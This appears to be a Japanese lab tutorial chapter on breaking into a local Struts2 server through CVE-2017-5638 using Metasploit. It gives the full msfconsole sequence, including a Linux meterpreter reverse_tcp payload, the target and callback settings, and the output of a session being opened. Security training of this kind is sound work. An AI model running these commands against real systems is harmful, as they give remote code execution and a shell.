コンテンツにスキップ

07. 侵入 — Metasploit で攻撃する 💥

🔊 音声で聴く

偵察で「Struts2 だ」と分かった。次は Metasploit で、その脆弱性を突いて侵入します。


エクスプロイト と ペイロード

攻撃は、この2つで1組です。

flowchart LR
    E["エクスプロイト<br>侵入口をこじ開ける手口"] --> P["ペイロード<br>侵入後に動かす中身"] --> R["侵入成功"]
    style E fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
    style P fill:#2d333b,stroke:#bc8cff,stroke-width:2px,color:#e6edf3
    style R fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3

2つは決まり方が違います。ここが最初に混乱しやすいポイントです。

何で決まるか 選択肢
エクスプロイト 的の脆弱性で決まる 基本、脆弱性1つに1つ(S2-045 ならこれ、と決まる)
ペイロード 的のOSとやりたいことで決まる 複数から自分で選ぶ(同じエクスプロイトでも中身を差し替えられる)
  • Linux の的に Windows 用ペイロードは刺さらない → OS に合わせる
  • 高機能に操作したい → meterpreter、軽く済ませたい → シェル、と目的で選ぶ
  • 使えるペイロード一覧は show payloads で見られる

💡 use した瞬間、相性の良いペイロードが自動で1つ入りますが、OS が合っていないことがある(Linux の的なのに Windows 用がデフォルト等)。show options で確認し、合わなければ set payload linux/... で選び直します。

S2-045:Struts2 の 2017 年の脆弱性(CVE-2017-5638、CVSS 10.0)。HTTP の Content-Type ヘッダに攻撃コードを仕込むと、サーバー上で任意コマンドが実行できてしまう。


攻撃の流れ(7ステップ)

flowchart LR
    S["search<br>武器を探す"] --> U["use<br>選ぶ"] --> SET["set<br>設定"] --> C["check<br>確認"] --> E["exploit<br>実行"]
    style S fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3
    style U fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
    style SET fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
    style C fill:#2d333b,stroke:#d29922,stroke-width:2px,color:#e6edf3
    style E fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3

STEP 1:起動

msfconsole
しばらく待つと msf6 > が出ます。

STEP 2:武器を探す(search)

search s2-045
#  Name                                          Rank       Check
0  exploit/multi/http/struts2_content_type_ognl  excellent  Yes

Rank: excellent = 信頼度が高い(刺さりやすい)。

💡 search は手元の在庫を文字列検索するだけ。search struts2 なら関連全部、search react のような広い語はノイズも混じります。検索語の粒度が大事。 その在庫のおおもとは公開の脆弱性DBです(下記)。

STEP 3:選ぶ(use)

use exploit/multi/http/struts2_content_type_ognl
プロンプトが変わります。use はセットするだけで、まだ攻撃はしません。

STEP 4:設定(set)

set payload linux/x64/meterpreter/reverse_tcp
set RHOSTS localhost
set RPORT 8088
set TARGETURI /showcase.action
set LHOST 127.0.0.1
set LPORT 4444
設定 意味
RHOSTS / RPORT 的の場所(R = Remote = 相手)
TARGETURI 攻撃するパス
LHOST / LPORT 自分の戻り先(L = Local)。reverse shell がここに戻る

⚠️ デフォルトのペイロードが windows/... のことがあります。的が Linux なら linux/... に変えること。 この LHOST が、環境によっては「戻ってこない」原因になります → 付録D。

STEP 5:確認(show options)

show options
RHOSTS / RPORT / TARGETURI / LHOST / payload が意図通りか確認。

STEP 6:刺さるか確認(check)

check
[+] The target is vulnerable. Successfully executed the injected code

ここで「推測」が「確証」に変わります。

STEP 7:実行(exploit)

exploit
[*] Meterpreter session 1 opened (...)
meterpreter >

meterpreter > に変われば侵入成功。次は 08. 侵入後 へ。

Exploit completed, but no session was created. と出たら、攻撃は届いたが reverse shell が戻らなかったサイン → 付録D. reverse shell が戻らない。


脆弱性を調べる定番サイト

Metasploit の search は手元の在庫を探すだけ。そのおおもとは、世界で公開されている脆弱性DBです。 偵察で「このソフトのこのバージョン」と分かったら、ここで既知の脆弱性を調べます。

サイト 何がわかるか
CVE(cve.org) 脆弱性の正式な背番号(例: CVE-2017-5638)
NVD(nvd.nist.gov) 深刻度スコア(CVSS)
Exploit-DB(exploit-db.com) 実際の攻撃コード
Rapid7 DB(rapid7.com/db) Metasploit モジュール対応
偵察: 「Struts2 2.3.30」と判明
   ↓ CVE/NVD で検索 → CVE-2017-5638(S2-045), CVSS 10.0
   ↓ Exploit-DB / Rapid7 で攻撃コード・モジュールを確認
   ↓ Metasploit: search s2-045 → use → ...

💡 この DB 照合が偵察と攻撃のつなぎ目です。ただし DB は古い・取り下げ済みのこともあるので、最後は check で裏を取ること。